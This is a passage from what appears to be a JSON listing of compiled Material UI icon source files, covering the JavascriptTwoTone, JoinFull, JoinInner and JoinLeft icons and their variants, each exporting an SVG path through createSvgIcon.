    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14v-1h1.5v.5h2v-1H13c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1H16c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1M9 9v4.5H7.5v-1H6v1c0 .83.67 1.5 1.5 1.5H9c.83 0 1.5-.67 1.5-1.5V9z\"\n}), 'JavascriptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14v-1h1.5v.5h2v-1H13c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1H16c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1M9 9v4.5H7.5v-1H6v1c0 .83.67 1.5 1.5 1.5H9c.83 0 1.5-.67 1.5-1.5V9z\"\n}), 'JavascriptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFull.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFull.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.68 6.8c-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.68 6.8c-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinFullTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5 2.8 2.34 3.03 5.53 3.03 6.5s-.23 4.16-3.03 6.5c.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInner.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInner');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInner.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInner');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.68 6.8c-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.68 6.8c-.39-.35-.98-.35-1.37 0C9.35 8.56 9 10.84 9 12c0 1.15.35 3.44 2.32 5.2.39.35.98.35 1.37 0C14.65 15.44 15 13.16 15 12c0-1.15-.35-3.44-2.32-5.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinInnerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.04 16.87c-.33.08-.68.13-1.04.13-2.76 0-5-2.24-5-5s2.24-5 5-5c.36 0 .71.05 1.04.13.39-.56.88-1.12 1.49-1.63C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-.61-.51-1.1-1.07-1.49-1.63M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinInnerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 0-1.75.19-2.53.5.61.51 1.1 1.07 1.49 1.63.33-.08.68-.13 1.04-.13 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.36 0-.71-.05-1.04-.13-.39.56-.88 1.12-1.49 1.63.78.31 1.63.5 2.53.5 3.86 0 7-3.14 7-7s-3.14-7-7-7\"\n}, \"1\")], 'JoinLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/JoinLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"ellipse\", {\n  cx: \"12\",\n  cy: \"12\",\n  rx: \"3\",\n  ry: \"5.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12c0-.97.23-4.16 3.03-6.5C9.75 5.19 8.9 5 8 5c-3.86 0-7 3.14-7 7s3.14 7 7 7c.9 0 1.75-.19 2.53-.5-2.8-2.34-3.03-5.53-3.03-6.5M16 5c-.9 